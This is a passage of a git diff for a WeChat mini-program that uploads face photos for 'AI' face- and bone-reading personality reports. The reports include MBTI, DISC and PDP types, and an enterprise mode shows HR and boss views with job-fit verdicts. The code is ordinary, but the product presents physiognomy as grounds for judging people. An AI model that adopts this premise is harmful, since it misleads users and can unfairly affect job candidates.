+} + +.action-buttons { + display: flex; + gap: 20rpx; + width: 100%; +} + +.action-button { + flex: 1; + padding: 28rpx 24rpx; + border-radius: 50rpx; + text-align: center; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.1); + transition: all 0.3s ease; +} + +.action-button.secondary { + background: #fff; + border: 2rpx solid #e63946; +} + +.action-button.secondary:active { + background: #fff5f5; + transform: scale(0.98); +} + +.action-button.primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.4); +} + +.action-button.primary:active { + transform: scale(0.98); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.3); +} + +.action-button-text { + font-size: 28rpx; + font-weight: 700; + letter-spacing: 1rpx; +} + +.action-button.secondary .action-button-text { + color: #e63946; +} + +.action-button.primary .action-button-text { + color: #fff; +} diff --git a/miniprogram/pages/index/index.js b/miniprogram/pages/index/index.js new file mode 100644 index 0000000..b0bde2c --- /dev/null +++ b/miniprogram/pages/index/index.js @@ -0,0 +1,177 @@ +// pages/index/index.js +const app = getApp() +const { request } = require('../../utils/request.js') + +Page({ + data: { + statusBarHeight: 0, + navbarHeight: 88, + showEnterpriseEntry: false, + siteTitle: '神仙团队AI性格测试', + startButtonText: '开始面相测试', + aiAnalysisText: '智能分析' + }, + + onLoad(options) { + // 获取状态栏高度和屏幕信息 + const systemInfo = wx.getSystemInfoSync() + const statusBarHeight = systemInfo.statusBarHeight || 0 + const screenWidth = systemInfo.screenWidth || 375 + // 将状态栏高度从px转换为rpx + const statusBarHeightRpx = (statusBarHeight * 750) / screenWidth + const navbarHeightRpx = statusBarHeightRpx + 88// 状态栏 + 导航栏内容 + + const userInfo = getApp().globalData.userInfo || wx.getStorageSync('userInfo') || {} + const gd = getApp().globalData + this.setData({ + statusBarHeight: statusBarHeightRpx, + navbarHeight: navbarHeightRpx, + showEnterpriseEntry: userInfo.hasEnterprise === true, + siteTitle: gd.siteTitle || '神仙团队AI性格测试', + startButtonText: (gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试', + aiAnalysisText: (gd.textConfig && gd.textConfig.aiAnalysisText) || '智能分析' + }) + // 预加载站点名称与文案配置 + app.getRuntimeConfig().then((cfg) => { + if (cfg) { + if (cfg.siteTitle) { + getApp().globalData.siteTitle = cfg.siteTitle + this.setData({ siteTitle: cfg.siteTitle }) + } + if (cfg.textConfig) { + getApp().globalData.textConfig = cfg.textConfig + this.setData({ + startButtonText: cfg.textConfig.startButtonText || '开始面相测试', + aiAnalysisText: cfg.textConfig.aiAnalysisText || '智能分析' + }) + } + } + }).catch(() => {}) + // ── 解析入参(兼容扫码 scene / 分享链接 options)── + const rawScene = (options && options.scene) ? decodeURIComponent(options.scene) : '' + const sceneParams = {} + if (rawScene) { + rawScene.split('&').forEach(pair => { + const [k, v] = pair.split('=') + if (k) sceneParams[k] = v || '' + }) + } + + const uid = parseInt(sceneParams.uid || (options && options.uid) || 0, 10) + const eid = parseInt(sceneParams.eid || (options && options.eid) || 0, 10) + + console.log('[index/onLoad] 解码参数 =>', { + rawScene, + sceneParams, + options, + uid, + eid + }) + + // 携带 eid:跳转企业版首页 + if (eid > 0) { + getApp().globalData.enterpriseIdFromScene = eid + wx.navigateTo({ url: '/pages/enterprise/index?uid=' + uid + '&eid=' + eid }) + return + } + + // 个人版分销绑定 + if (uid > 0) { + app.globalData._pendingInviterId = uid + app.globalData._pendingInviterScope = 'personal' + } + }, + + onShow() { + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 0 }) + } + // 个人版首页:固定 scope=personal,并清除企业来源上下文 + try { + getApp().globalData.appScope = 'personal' + getApp().globalData.enterpriseIdFromScene = null + } catch (e) {} + const gd = getApp().globalData + this.setData({ + siteTitle: gd.siteTitle || '神仙团队AI性格测试', + startButtonText: (gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试', + aiAnalysisText: (gd.textConfig && gd.textConfig.aiAnalysisText) || '智能分析' + }) + const userInfo = getApp().globalData.userInfo || wx.getStorageSync('userInfo') || {} + this.setData({ showEnterpriseEntry: userInfo.hasEnterprise === true }) + // 有 token 时拉取最新用户信息(含 hasEnterprise),绑定企业后无需重新登录即可展示企业版入口 + const token = getApp().globalData.token || wx.getStorageSync('token') + if (token) { + request({ + url: '/api/auth/me', + method: 'GET', + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200 && res.data.data) { + const user = res.data.data + getApp().globalData.userInfo = user + wx.setStorageSync('userInfo', user) + this.setData({ showEnterpriseEntry: user.hasEnterprise === true }) + } + } + }) + } + }, + + // 开始拍照(个人版入口:强制本次链路为个人定价) + startCamera() { + try { getApp().globalData.appScope = 'personal' } catch (e) {} + wx.switchTab({ + url: '/pages/index/camera' + }) + }, + + // 上传照片(个人版入口:强制本次链路为个人定价) + uploadPhoto() { + try { getApp().globalData.appScope = 'personal' } catch (e) {} + // 这里仅负责跳转到全新的「拍摄或上传照片」页面,具体拍摄/上传逻辑在新页面实现 + wx.navigateTo({ + url: '/pages/index/upload' + }) + }, + + // 切换到企业版(仅已绑定企业的用户可进入,优先用登录返回的 hasEnterprise,避免多请求) + switchToEnterprise() { + const app = getApp() + const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') || {} + if (userInfo.hasEnterprise === true) { + wx.navigateTo({ url: '/pages/enterprise/index' }) + return + } + if (userInfo.hasEnterprise === false) { + wx.showToast({ title: '您尚未绑定任何企业,无法使用企业版', icon: 'none', duration: 2500 }) + return + } + // 缓存里没有 hasEnterprise 时:临时用 enterprise scope 获取配置判定 + try { app.globalData.appScope = 'enterprise' } catch (e) {} + app.ensureLogin().then(() => app.getRuntimeConfig()).then((cfg) => { + if ((cfg && cfg.pricingType) === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.showToast({ title: '您尚未绑定任何企业,无法使用企业版', icon: 'none', duration: 2500 }) + } + }).catch(() => { + wx.showToast({ title: '无法获取配置,请稍后重试', icon: 'none' }) + }) + }, + + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + return { + title: 'AI人脸性格分析 - 看看你的面相透露了什么性格密码', + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: 'AI人脸性格分析 - 看看你的面相透露了什么性格密码', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/index/index.json b/miniprogram/pages/index/index.json new file mode 100644 index 0000000..240a0ce --- /dev/null +++ b/miniprogram/pages/index/index.json @@ -0,0 +1,6 @@ +{ + "navigationStyle": "custom", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + } +} diff --git a/miniprogram/pages/index/index.wxml b/miniprogram/pages/index/index.wxml new file mode 100644 index 0000000..f3ded42 --- /dev/null +++ b/miniprogram/pages/index/index.wxml @@ -0,0 +1,61 @@ + + + + + + + 🏢 + 企业版 + + {{siteTitle || '神仙团队AI性格测试'}} + + + + + + + + + + + + + + 面相分析 + 骨相分析 + 性格测评 + + + + + 测试流程 + + + 1 + STEP1 + 拍摄照片 + + + + 2 + STEP2 + {{aiAnalysisText || '智能分析'}} + + + + 3 + STEP3 + 生成报告 + + + + + + {{startButtonText || '开始面相测试'}} + + + 人工智能生成 + + + + diff --git a/miniprogram/pages/index/index.wxss b/miniprogram/pages/index/index.wxss new file mode 100644 index 0000000..37c04d0 --- /dev/null +++ b/miniprogram/pages/index/index.wxss @@ -0,0 +1,278 @@ +/* pages/index/index.wxss - 个人版首页,样式与企业版一致 */ +.container { + min-height: 100vh; + width: 100vw; + overflow-x: hidden; + overflow-y: auto; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; + padding-bottom: calc(100rpx + env(safe-area-inset-bottom) + 40rpx); +} + +/* 背景装饰圆形(与企业版一致) */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +/* 自定义导航栏 */ +.custom-navbar { + position: fixed; + top: 0; + left: 0; + right: 0; + background: #ffffff; + z-index: 10000; + width: 100%; +} + +.navbar-content { + height: 88rpx; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 40rpx; + position: relative; + background: #ffffff; + min-height: 88rpx; +} + +.navbar-title { + position: absolute; + left: 50%; + transform: translateX(-50%); + font-size: 36rpx; + font-weight: 700; + color: #e63946; + text-align: center; + flex: 1; +} + +.navbar-placeholder { + width: 140rpx; + flex-shrink: 0; +} + +/* 与企业版切换按钮同款样式(红主色) */ +.switch-enterprise-btn { + display: flex; + align-items: center; + gap: 8rpx; + padding: 12rpx 20rpx; + background: rgba(230, 57, 70, 0.1); + border-radius: 30rpx; + border: 1rpx solid rgba(230, 57, 70, 0.2); + flex-shrink: 0; + z-index: 10; +} + +.enterprise-icon { + font-size: 28rpx; +} + +.enterprise-text { + font-size: 24rpx; + color: #e63946; + font-weight: 600; +} + +.top-image-section { + width: 100%; + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + box-sizing: border-box; + position: relative; + z-index: 1; + margin-top: 0; +} + +.image-container { + position: relative; + width: 100%; +} + +.image-wrapper { + position: relative; + width: 100%; + padding-top: 100%; + border-radius: 50%; + overflow: hidden; + background: #ffffff; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.12); +} + +.main-image { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 85%; + height: 85%; + display: block; +} + +.float-tag { + position: absolute; + padding: 12rpx 24rpx; + border-radius: 30rpx; + font-size: 24rpx; + font-weight: 600; + color: #e63946; + background: rgba(255, 255, 255, 0.95); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.2); + white-space: nowrap; + z-index: 10; +} + +.tag-1 { + top: 15%; + right: 10rpx; +} + +.tag-2 { + bottom: 25%; + left: 0; +} + +.tag-3 { + bottom: 25%; + right: 0; +} + +.process-section { + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + position: relative; + z-index: 1; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #e63946; + text-align: center; + margin-bottom: 25rpx; +} + +.process-steps { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10rpx; +} + +.step-item { + display: flex; + flex-direction: column; + align-items: center; + flex: 1; +} + +.step-circle { + width: 70rpx; + height: 70rpx; + border-radius: 50%; + background: #b8b9bc; + display: flex; + align-items: center; + justify-content: center; + font-size: 36rpx; + font-weight: 700; + color: #fff; + margin-bottom: 12rpx; +} + +.step-circle.active { + background: #e63946; +} + +.step-label { + font-size: 20rpx; + color: #666; + margin-bottom: 4rpx; +} + +.step-text { + font-size: 24rpx; + color: #333; + font-weight: 600; +} + +.step-line { + width: 50rpx; + height: 4rpx; + background: #e0e0e0; + margin: 0 6rpx 50rpx; +} + +.start-button { + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 50rpx; + padding: 24rpx; + text-align: center; + box-shadow: 0 8rpx 30rpx rgba(230, 57, 70, 0.3); + position: relative; + z-index: 1; +} + +.button-text { + font-size: 30rpx; + color: #fff; + font-weight: 700; +} + +.upload-button { + margin: 0 40rpx 16rpx; + border: 2rpx solid #8b5cf6; + border-radius: 50rpx; + padding: 18rpx; + text-align: center; + background: #fff; + flex-shrink: 0; +} + +.upload-text { + font-size: 26rpx; + color: #8b5cf6; + font-weight: 600; +} + +.ai-generated-tip { + text-align: center; + font-size: 24rpx; + color: #9CA3AF; + margin-top: 24rpx; + margin-bottom: 16rpx; +} + +/* 确保底部导航显示 */ +custom-tab-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + z-index: 9999; +} diff --git a/miniprogram/pages/index/result.js b/miniprogram/pages/index/result.js new file mode 100644 index 0000000..eddbe38 --- /dev/null +++ b/miniprogram/pages/index/result.js @@ -0,0 +1,539 @@ +// pages/index/result.js - AI分析结果页(按旧版模板重构) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + isAnalyzing: true, + showResult: false, + hasError: false, + errorMessage: '', + noFaceError: false, + noFaceMessage: '', + progress: 0, + analyzingTip: '正在识别面部特征...', + activeTab: 'face', // 'face' | 'bone' + // 报告付费信息 + payInfo: { + requiresPayment: false, // 是否需要付费才解锁完整报告 + isPaid: false, // 当前这次是否已解锁 + amountYuan: 0 // 人脸报告价格(元) + }, + result: { + mbti: '', + title: '', + summary: '', + pdp: '', + pdpAux: '', + pdpEmoji: '', + disc: '', + discAux: '', + traits: [], + faceAnalysisText: '', + boneAnalysisText: '', + careers: [], + relationship: '', + gallupTop3: [], + // 完整面相/骨相(object 才用,字符串走 *Text 字段) + faceAnalysis: null, + boneAnalysis: null, + // 企业版:职业画像、HR视角、老板视角、简历亮点 + portrait: null, + hrView: null, + bossView: null, + resumeHighlights: '' + }, + // 当前这次AI分析对应的测试记录ID(mbti_test_results.id) + testResultId: null, + // 支付后是否已经触发过一次“刷新完整报告”,避免重复刷新 + hasReloadedAfterPay: false, + // 是否已在本地拥有手机号(决定是否还需要弹出微信手机号授权) + hasPhone: false, + analyzingTitle: '正在分析中', + reportTitle: '分析报告', + aiAnalysisText: '智能分析' + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + + // 加载文案配置(分析中提示、报告标题等) + const tc = app.globalData.textConfig + if (tc) { + this.setData({ + analyzingTitle: tc.analyzingTitle || '正在分析中', + reportTitle: tc.reportTitle || '分析报告', + aiAnalysisText: tc.aiAnalysisText || '智能分析' + }) + if (tc.reportTitle) wx.setNavigationBarTitle({ title: tc.reportTitle }) + } else { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + const t = cfg.textConfig + this.setData({ + analyzingTitle: t.analyzingTitle || '正在分析中', + reportTitle: t.reportTitle || '分析报告', + aiAnalysisText: t.aiAnalysisText || '智能分析' + }) + if (t.reportTitle) wx.setNavigationBarTitle({ title: t.reportTitle }) + } + }).catch(() => {}) + } + + // 从历史记录进入:根据ID从后端读取数据库中的结果 + if (id && type === 'ai') { + const token = app.globalData.token || wx.getStorageSync('token') + const apiBase = app.globalData.apiBase + if (!token || !apiBase) { + wx.showToast({ title: '未登录,无法读取历史记录', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + return + } + + wx.showLoading({ title: '加载历史记录...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: { + 'Authorization': `Bearer ${token}` + }, + data: { id }, + success: (res) => { + wx.hideLoading() + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + const apiData = payload.data || payload + // 历史详情场景下,记录当前测试记录ID + this.setData({ testResultId: id }) + this.processResult(apiData) + // 从历史进入:金额与是否需付款以 test_results 的 paidAmount/needPaymentToUnlock 为准 + this.initPayInfoFromRuntime( + !!payload.requiresPayment, + !!payload.isPaid, + payload + ) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '网络错误,加载失败', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }) + return + } + + // 正常从拍照流程进入:调用 /api/analyze + this.startAnalysis() + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + const tc = app.globalData.textConfig + if (tc) { + this.setData({ + analyzingTitle: tc.analyzingTitle || '正在分析中', + reportTitle: tc.reportTitle || '分析报告', + aiAnalysisText: tc.aiAnalysisText || '智能分析' + }) + } + }, + + // 面相/骨相 Tab 切换 + switchAnalysisTab(e) { + this.setData({ activeTab: e.currentTarget.dataset.tab }) + }, + + // 调用后端AI分析API(aiPhotos 应为上传后的 URL 数组,由拍照页上传后写入) + startAnalysis() { + let photos = wx.getStorageSync('aiPhotos') || [] + if (!Array.isArray(photos)) photos = [] + const isUrls = photos.length > 0 && photos.every(p => typeof p === 'string' && (p.startsWith('http://') || p.startsWith('https://'))) + if (!isUrls || photos.length === 0) { + this.setData({ progress: 100 }) + setTimeout(() => { + wx.showToast({ title: '请先完成拍照并上传', icon: 'none' }) + wx.navigateBack({ delta: 1 }) + }, 300) + return + } + const tips = [ + '正在识别面部特征...', + '分析眉眼特征...', + '结合《冰鉴》分析骨形...', + '匹配MBTI/PDP/DISC...', + '生成综合报告...' + ] + let progress = 0 + let tipIndex = 0 + + // 进度动画 + const timer = setInterval(() => { + progress += 3 + if (progress > 95) progress = 95 + if (progress > (tipIndex + 1) * 18 && tipIndex < tips.length - 1) tipIndex++ + this.setData({ progress: Math.floor(progress), analyzingTip: tips[tipIndex] }) + }, 200) + + // 调用后端API:appScope='enterprise' 时才传 enterpriseId,个人版不传 + const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') || {} + const scope = (app.globalData && app.globalData.appScope) || 'personal' + const enterpriseId = scope === 'enterprise' + ? (app.globalData.enterpriseIdFromScene || userInfo.enterpriseId || null) + : null + wx.request({ + url: `${app.globalData.apiBase}/api/analyze`, + method: 'POST', + header: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${wx.getStorageSync('token') || ''}` + }, + data: { + photoUrls: photos, + userId: app.globalData.openId || '', + ...(enterpriseId ? { enterpriseId: Number(enterpriseId) } : {}) + }, + success: (res) => { + clearInterval(timer) + + if (res.statusCode === 200 && res.data) { + const bodyCode = res.data.code + // 后端 error() 始终返回 HTTP 200,业务错误码放在 data.code 中 + if (bodyCode === 422) { + // AI 未检测到人脸 + const msg = res.data.message || '图片中未检测到人脸,请确保拍摄时面部清晰可见' + this.setData({ progress: 100 }) + setTimeout(() => this.showNoFaceError(msg), 300) + } else if (bodyCode === 200) { + const apiData = res.data.data || res.data + this.setData({ progress: 100, analyzingTip: '分析完成!' }) + setTimeout(() => { + this.processResult(apiData) + }, 500) + } else { + console.error('API返回错误:', res) + this.setData({ progress: 100 }) + const msg = (res.data && (res.data.message || res.data.msg)) || '分析失败,请稍后重试' + setTimeout(() => this.showAnalyzeError(msg), 300) + } + } else { + console.error('API返回错误:', res) + this.setData({ progress: 100 }) + setTimeout(() => this.showAnalyzeError('分析失败,请稍后重试'), 300) + } + }, + fail: (err) => { + clearInterval(timer) + console.error('API调用失败:', err) + this.setData({ progress: 100 }) + setTimeout(() => this.showAnalyzeError('网络异常,请检查网络后重试'), 300) + } + }) + }, + + // 处理API返回结果 + processResult(apiData) { + const result = { + mbti: apiData.mbti?.type || '', + title: apiData.mbti?.title || '', + summary: apiData.personalitySummary || apiData.overview || '', + pdp: apiData.pdp?.primary || '', + pdpAux: apiData.pdp?.secondary || '', + pdpEmoji: this.getPDPEmoji(apiData.pdp?.primary), + disc: apiData.disc?.primary || '', + discAux: apiData.disc?.secondary || '', + traits: Array.isArray(apiData.advantages) ? apiData.advantages : [], + faceAnalysisText: typeof apiData.faceAnalysis === 'string' ? apiData.faceAnalysis : '', + boneAnalysisText: typeof apiData.boneAnalysis === 'string' ? apiData.boneAnalysis : '', + careers: Array.isArray(apiData.careers) ? apiData.careers : [], + relationship: apiData.relationship || '', + gallupTop3: Array.isArray(apiData.gallupTop3) ? apiData.gallupTop3 : [], + faceAnalysis: null, + boneAnalysis: null, + portrait: apiData.portrait || null, + hrView: apiData.hrView || null, + bossView: apiData.bossView || null, + resumeHighlights: apiData.resumeHighlights || '', + timestamp: Date.now() + } + + wx.setStorageSync('aiResult', result) + if (app.globalData) app.globalData.aiResult = result + // 测试记录已由 /api/analyze 顺带写入,无需再调 /api/test/submit + + const updates = { + isAnalyzing: false, + showResult: true, + hasError: false, + result + } + + // 记录本次测试记录ID(由 /api/analyze 返回) + if (apiData && apiData._testResultId) { + updates.testResultId = apiData._testResultId + } + + this.setData(updates) + + // 优先使用后端 /api/analyze 返回的价格信息,避免二次请求 + if (apiData._payment) { + const p = apiData._payment || {} + this.setData({ + payInfo: { + requiresPayment: !!p.requiresPayment, + isPaid: false, + amountYuan: typeof p.amountYuan === 'number' + ? p.amountYuan + : (p.amountFen ? (p.amountFen / 100) : 0) + } + }) + } + // 无 _payment 时(如从历史详情进入)不在这里调 initPayInfoFromRuntime,避免异步 getRuntimeConfig 后覆盖详情接口返回的 needPaymentToUnlock;由调用方用 detail 的 payload 单独设置 payInfo + }, + + + // PDP类型对应emoji + getPDPEmoji(type) { + const map = { + '老虎': '🐅', '孔雀': '🦚', '无尾熊': '🐨', '考拉': '🐨', + '猫头鹰': '🦉', '变色龙': '🦎' + } + return map[type] || '🐅' + }, + + /** + * 初始化付费信息:结合运行配置 + 可选的数据库记录状态 + * @param {boolean|null} recordRequires 是否从记录中读到需要付费(可为空) + * @param {boolean} recordIsPaid 记录是否已付费 + */ + initPayInfoFromRuntime(recordRequires = null, recordIsPaid = false, detailPayload = null) { + // 从历史/详情进入:优先用 test_results 的 paidAmount,需付款但金额为0 则直接可查看 + if (detailPayload && (detailPayload.paidAmount != null || detailPayload.amountYuan != null || detailPayload.needPaymentToUnlock != null)) { + const paidAmount = Number(detailPayload.paidAmount ?? 0) + const amountYuan = detailPayload.amountYuan != null ? Number(detailPayload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPay = detailPayload.needPaymentToUnlock === true || (!!detailPayload.requiresPayment && !detailPayload.isPaid && paidAmount > 0) + this.setData({ + payInfo: { + requiresPayment: needPay, + isPaid: !!detailPayload.isPaid, + amountYuan: needPay ? amountYuan : 0 + } + }) + return + } + app.getRuntimeConfig() + .then((cfg) => { + const pricing = cfg.pricing || {} + const reportRequires = cfg.reportRequiresPayment || {} + const facePriceRaw = pricing.face + const facePrice = typeof facePriceRaw === 'number' + ? facePriceRaw + : Number(facePriceRaw || 0) + + const requiresByConfig = !!(reportRequires && reportRequires.face) + const requiresPayment = + typeof recordRequires === 'boolean' ? recordRequires : requiresByConfig + // 系统设置需付款但金额为0 则直接可查看,不展示付费墙 + const needPay = requiresPayment && facePrice > 0 + const amountYuan = facePrice > 0 ? facePrice : 0 + + this.setData({ + payInfo: { + requiresPayment: needPay, + isPaid: !!recordIsPaid, + amountYuan + } + }) + }) + .catch(() => { + this.setData({ + payInfo: { + requiresPayment: false, + isPaid: !!recordIsPaid, + amountYuan: 0 + } + }) + }) + }, + + // 解锁完整报告:发起人脸测试付费 + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) { + return + } + + app.ensureLogin().then((logged) => { + if (!logged) { + wx.showToast({ title: '请先登录后再解锁', icon: 'none' }) + return + } + payment.purchaseFaceTest({ + testResultId, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + + // 本地先标记已付费,避免按钮仍然提示“需要解锁” + this.setData({ + 'payInfo.isPaid': true + }) + + // 避免重复触发刷新:只在还没刷新的情况下,延迟 0.5s 拉一次详情 + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => { + this.reloadFullDetail(testResultId) + }, 500) + } + }, + fail: () => { + // 支付失败或取消,这里不做额外处理 + } + }) + }) + }, + + // AI结果页付费按钮:就地触发微信手机号授权,然后调用 unlockFullReport + onGetPhoneNumberForFacePay(e) { + if (!ensureProfileCompleteAndRedirect()) return + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + this.unlockFullReport() + return + } + if (!code) { + if (hasPhone()) { + this.unlockFullReport() + } else { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.unlockFullReport() + }) + .catch(() => { + // 保持在当前页,等待用户重新点击 + }) + }, + + // 解锁成功后,根据测试记录ID重新拉取完整详情 + reloadFullDetail(id) { + if (!id) return + + const app = getApp() + const apiBase = app.globalData?.apiBase || '' + + wx.showLoading({ title: '加载完整报告...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: { + 'Authorization': app.globalData?.token ? `Bearer ${app.globalData.token}` : '' + }, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + const apiData = payload.data || payload + + // 详情接口在后台会根据 isPaid 返回完整结构,这里直接复用已有处理逻辑 + this.processResult(apiData) + + // 同步数据库中的付费状态与金额(test_results.paidAmount) + const recordRequires = + typeof payload.requiresPayment === 'boolean' || typeof payload.requiresPayment === 'number' + ? !!payload.requiresPayment + : null + const recordIsPaid = !!payload.isPaid + this.initPayInfoFromRuntime(recordRequires, recordIsPaid, payload) + } else { + console.error('刷新完整报告失败', res) + } + }, + fail: (err) => { + console.error('请求完整报告失败', err) + }, + complete: () => { + wx.hideLoading() + } + }) + }, + + // 无人脸错误:显示提示并提供重新拍摄入口 + showNoFaceError(message) { + this.setData({ + isAnalyzing: false, + showResult: false, + noFaceError: true, + noFaceMessage: message || '图片中未检测到人脸,请重新拍摄清晰的正面照片' + }) + }, + + // 分析失败:不使用任何本地模拟数据 + showAnalyzeError(message) { + this.setData({ + isAnalyzing: false, + showResult: true, + hasError: true, + errorMessage: message || '分析失败,请稍后重试' + }) + }, + + // 跳转到详情性格测试选择页(MBTI / PDP / DISC 三选一) + goToMBTI() { + wx.navigateTo({ url: '/pages/test-select/index' }) + }, + + shareResult() { + wx.showShareMenu({ withShareTicket: true, menus: ['shareAppMessage', 'shareTimeline'] }) + }, + + retake() { + // camera 是 tabBar 页面,必须用 switchTab + wx.switchTab({ url: '/pages/index/camera' }) + }, + + goHome() { + // 根据当前 scope 跳对应首页 + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const r = this.data.result + const t = this.data.aiAnalysisText || '智能分析' + const { getSharePathByScope } = require('../../utils/share') + return { + title: `${t}我是${r?.mbti} ${r?.pdpEmoji}${r?.pdp}型,来测测你的!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const r = this.data.result + const t = this.data.aiAnalysisText || '智能分析' + const { buildShareQuery } = require('../../utils/share') + return { + title: `${t}我是${r?.mbti} ${r?.pdpEmoji}${r?.pdp}型,来测测你的!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/index/result.json b/miniprogram/pages/index/result.json new file mode 100644 index 0000000..7b82fa3 --- /dev/null +++ b/miniprogram/pages/index/result.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "分析报告", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/index/result.wxml b/miniprogram/pages/index/result.wxml new file mode 100644 index 0000000..e2562ca --- /dev/null +++ b/miniprogram/pages/index/result.wxml @@ -0,0 +1,304 @@ + + + + + + + + + {{analyzingTitle || '正在分析中'}} + {{analyzingTip}} + + + + 这个过程可能需要30秒到1分钟,请耐心等待... + + + + + + + + 🚫 + + 未检测到人脸 + {{noFaceMessage}} + + 拍摄建议: + • 确保面部完整出现在画面中 + • 保持光线充足,避免逆光 + • 正对镜头,不要遮挡面部 + • 保持适当距离,不要过近或过远 + + + 重新拍摄 + + + + + + + + + + {{hasError ? '分析出现异常' : '分析完成,以下是您的个性化报告'}} + + + + + 错误信息 + {{errorMessage}} + + 重新分析 + + + + + + 性格类型分析 + + + + {{result.mbti}} + {{result.title}} + {{result.summary}} + + + + + + PDP主性格 + {{result.pdp || '--'}} + 辅助: {{result.pdpAux}} + + + DISC类型 + {{result.disc || '--'}}型 + 辅助: {{result.discAux}} + + + + + + 主要优势 + + + + {{item}} + + + + + + 下一步:详细性格测试 → + + + + + + 性格概述 + {{result.summary}} + + + + + 盖洛普前三大优势 + + + {{index + 1}} + {{item}} + + + + + + + + 完整版性格深度解析 + 解锁后将展示完整报告内容 + + + + + 一次性解锁本次{{reportTitle || '分析报告'}},永久保存在「历史记录」中 + + + + + + + + + + + 面部特征分析 + + + {{item.label}}: + {{item.description}} + + + + + + + 面相分析 + {{result.faceAnalysisText}} + + + + + + + 骨相分析(《冰鉴》八骨) + + + 五行形相: + {{result.boneAnalysis.boneFormSummary.elementType}} + + + 骨肉关系: + {{result.boneAnalysis.boneFormSummary.boneFleshRelation}} + + + + + + + 骨相分析(《冰鉴》八骨) + {{result.boneAnalysisText}} + + + + + 人际关系与团队合作 + {{result.relationship}} + + + + + 简历亮点 + {{result.resumeHighlights}} + + + + + 职业画像 + + 核心优势 + + {{item}} + + + + 潜在风险 + + {{item}} + + + + 工作风格 + {{result.portrait.workStyle}} + + + + + + HR视角 + + 岗位推荐 + + 最适合 + + {{item}} + + + + 不适合 + + {{item}} + + + + + 成长周期 + + + 入职适应 + {{result.hrView.lifecycle.onboarding}} + + + 试用期 + {{result.hrView.lifecycle.probation}} + + + 成长期 + {{result.hrView.lifecycle.growth}} + + + 留人因素 + {{result.hrView.lifecycle.retention}} + + + + + 绩效潜力 + 潜力:{{result.hrView.performance.potential}} + + 驱动因子: + 